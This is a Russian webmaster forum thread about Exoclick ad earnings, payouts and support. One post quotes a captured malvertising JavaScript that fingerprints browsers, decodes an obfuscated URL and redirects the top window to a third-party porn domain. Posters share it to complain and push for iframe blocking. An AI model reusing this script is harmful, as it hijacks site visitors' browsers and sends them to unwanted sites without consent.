Exoclick?

У меня и попандер и баннерами натыкано на блоге. То есть только экзо, больше ничего не стоит. с 10-15к SE c Гугла - идет 35-65$ дейли последнюю неделю идет.
Показов там немеряно, ибо натыкано сильно баннеров. Кликов 300-600. Попандеров соот-но 10-15к.

Только я там совершенно не понимаю как считает у них Пару недель назад было хуже примерно вдвое-трое. Может рекламодатели поменялись?
Сейчас дня не проходит, чтобы в какой-то час не прибавилась заметная сумма.

Раньше такие дни были редкими.


Правильно я понимаю, что у них есть так называемый минимум, который они по-любому платят, + что-то вроде бонуса ? Иначе чем объяснить клики по 10+ баксов?

что для выплаты у них в вебмани нужно указвать ид или кошель?

Цитата:

с 10-15к SE c Гугла - идет 35-65$ дейли последнюю неделю идет.

Фига себе! это с 1к в среднем ~3бакса только на банерах и попандерах? И что у попандера 100% пробив?

Что то не совсем верится

апну свой вопрос

Next писал:

что для выплаты у них в вебмани нужно указвать ид или кошель?

Remus: последние два дня 23, 19. Хуже стало. Ну и траф в выходные подупал.я ж написал что хуже было значительно. Ну то есть бывает 15, бывает 50-60 на одном и том же трафе. Считают они просто походу комплексно..
Next: вмз кошель указывать

Что за новая фишка
You can not create more sites as you reached limit of 50 sites.

сайтов добавлено больше 100 )) но, новые не добавляют.
Судя по прибыли, екзоклик потерял покупателей трафа, банера не отображаются в неправельных странах, прибыль упала на 30%.

Gromyko писал:

Что за новая фишка You can not create more sites as you reached limit of 50 sites. сайтов добавлено больше 100 )) но, новые не добавляют. Судя по прибыли, екзоклик потерял покупателей трафа, банера не отображаются в неправельных странах, прибыль упала на 30%.

Да пиздец гонят!
Надо ждать 2 дня пока что-то там переделают.

UPD: У меня вроде заработало, но не факт, что само ибо я удалял некторое старое добро + у меня столько сайтов нет, сообщение было насчёт переполнения Ad Zones.

конкурентов стало много, а они суко выебуюца

А почём покупают мобильный траф на экзо? Как по мне наебалово там ещё то.

приятный сегодня сюрприз
на сайте только баннера экзоклика, гугл напротив сайта пишет "Возможно, этот сайт был взломан."
кто сталкивался с таким?

Fisherman писал:

У меня и попандер и баннерами натыкано на блоге. То есть только экзо, больше ничего не стоит. с 10-15к SE c Гугла - идет 35-65$ дейли последнюю неделю идет.

Шикарный показатель я бы сказал. у меня трафф чистое сео на попандер и баннеры (коих тоже не мало) дают макс 0.8$ с кила трафа.

вот такое говно грузится вместо чистого баннера от эхо при срабатывании каких-то условий:

Код: [развернуть]

<!-- function adsonl(){ades++;ads_on(true)}function wionl(){if(ades==0)ads_on(false)}function adsonl2(){ades2++;ads_on(false)}function wionl2(){if(ades2==0)ads_on(true)}function ads_on(e){var t="";var b = [104,116,116,112,58,47,47,114,122,111,98,109,98,109,122,46,112,111,114,110,111,114,101,115,117,108,116,46,99,111,109,47,110,122,97,114,104,122,115,108,46,112,104,112,63];var n="002590C1FE15";var r="e16f1f4db7e633d721927b05fd3bc8335d6178e03144e8e6075d742318e57b50";if(!e){for(var i=0;i<b.length;i++){t=t+String.fromCharCode(b[i])}top.location.href=t+n+"&pcode="+r}}function ffp(){window.addEventListener("load",wionl,false);var e=document.createElement("iframe");e.style.display="none";e.src=purl;e.onload=adsonl;document.body.appendChild(e)}function cbb(){var e="ok";var t=false;sagent=sagent.toLowerCase().replace(/[()]/g,"");var n=sagent.split(" ");for(var r=0;r<n.length;r++)if(uagent.indexOf(n[r])==-1){t=true;break}if(t)e="";else if(sagent.indexOf("msie")!=-1){if(typeof document.documentMode==="undefined"||window.ActiveXObject==false)e="";else ads_on(false)}else if(sagent.indexOf("trident/")!=-1){if(navigator.appName!="Netscape"||typeof document.documentMode==="undefined")e="";else ads_on(false)}else if(sagent.indexOf("chrome")!=-1){var i=!!window.chrome;if(!i)e="";else{window.addEventListener("load",wionl2,false);var s=document.createElement("object");s.data=purl;s.onload=adsonl2;document.body.appendChild(s)}}else if(sagent.indexOf("safari")!=-1){if(Object.prototype.toString.call(window.HTMLElement).indexOf("Constructor")>0)ffp();else e=""}else if(sagent.indexOf("firefox")!=-1){if(typeof InstallTrigger!=="undefined")ffp();else e=""}else e="";return e}var ades=0;var ades2=0;var purl="http://ajax.googleapis.cmo/ajax/libs/jquery/1.7.1/jquery.min.js";var uagent=navigator.userAgent.toLowerCase();var sagent="Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36";cbb() //-->

--> вот на этот урл траф с сиджа прям редиректится в итоге: http://rzobmbmz.pornoresult.com/nzbrhzsl.php?...

я им уже десять раз говорил , чтоб запретили фреймы/флеши в качестве рекламных материалов , так нет - им пох , дебилы блин =)

давайте массово жаловаться , может зашевелятся и сделают опцию , чтоб можно было таких адвертайзеров вырубить в адзонах . кто рисковать любит - пусть оставляет фреймы

Diablo II: Есть хоть примерные условия, когда это вылазиет?
Страна? Зона?
У них очень дубовый сапорт. Будут вопросы.

S_Flash писал:

Diablo II: Есть хоть примерные условия, когда это вылазиет? Страна? Зона?

словил всего один раз , потом сколько ни рефрешил - ни разу этот паблишер не попался видимо .

в ие , сингапурский айпи , но думаю там все страны выгребаются . 300х250 баннерная зона

достучаться до их тех саппорта - какая-то очень трудная задача , отвечают манагеры , которые во всей этой теме ни в зуб ногой похоже

Diablo II: А на том урле, что на том конце? Сори, не хочу лишний раз проверять!

да в спорт писать что в кремль.
давай еще раз напишем

Написал, они ответили стандартным сообщением, мол, какой сайт, с какой страны..
Я уже раз 10 точно видел подобный ответ. Так и будут ебать мозг.

S_Flash писал:

Написал, они ответили стандартным сообщением, мол, какой сайт, с какой страны.. Я уже раз 10 точно видел подобный ответ. Так и будут ебать мозг.

да , такое точно погоды не сделаает . даже если они этот читерский акк найдут и побанят - толку нуль , пролез один - пролезет еще 100 . пиздюки блин

из-за этой срани траф нормально так проседает , прода рушится , риск влететь в гуглбадвар базу немалый .
как на эхоклик надавить можно?

нужно всего лишь в настройки адзоны добавить функцию для доп блокировки фреймов/флешей

вот как щас сделано у них:



по идее элементарно же , кому нужно - тот не будет блокировать , кому важней траф на сайте и чистота - те заблокируют и пофиг что там отвалятся всякие трастовые за компанию, кто флеши юзает. переживу падение дохода в обмен на спокойный сон

есть кто-нибудь на форуме , кто плотно с ними общается? кроме Ильи

сам я им само собой писал,
проблема в том , что у них 4-5 разных человек участвуют в одной переписке , и каждому приходится заново объяснять , что я вообще хочу от них. При этом у каждого из них свой уровень технической грамотности , некоторые вообще не одупляют о чем речь (большинство по-моему ) . Не понимаю , как они умудрились стать самым большим адброкером при таком никакущем саппорте =\

вот все что мне удалось услышать от них:

"Regarding iframes, regrettably this is not something we can deselect from your sites currently, although we hope to give publishers the option in the near future.

Rest assured that as HTML is restricted to selective clients as a rule you should not be getting any issues."

Diablo II: Стоп, не понял, а что Адвертайзеры могут юзать ифрейм банеры?
За счёт чего они протаскивают вредоносный код со своей стороны?
Я вобще в адвертайз акке не нашёл даже как flash банер вставлять. Только имедж.

S_Flash писал:

Diablo II: Стоп, не понял, а что Адвертайзеры могут юзать ифрейм банеры? За счёт чего они протаскивают вредоносный код со своей стороны? Я вобще в адвертайз акке не нашёл даже как flash банер вставлять. Только имедж.

да , могут , как-то договариваются с эхо и им включают эту возможность .

monstertera.ps вместо баннеров эхо ни разу не видал? вот это оно самое .

Diablo II: Вобщем, продолбил их с просьбой добавить опции показывать только тех, кто не с флешем и ифреймом. Надеюсь они догонят, что имеются ввиду только картинки, а не картинки + с джаваскриптом.

S_Flash писал:

Diablo II: Вобщем, продолбил их с просьбой добавить опции показывать только тех, кто не с флешем и ифреймом. Надеюсь они догонят, что имеются ввиду только картинки, а не картинки + с джаваскриптом.

во отлично,
если каждый напишет , точно зашевелятся ж (хотя сомневаюсь ) но попытка не пытка

Diablo II: Я тоже так думаю!

Тоже кстати прислали ответ:

Цитата:

Currently there is no option for publishers to block iframe promotions in their adzones. This information has been passed onto our management as feedback and hopefully sometime in the future we can have this available.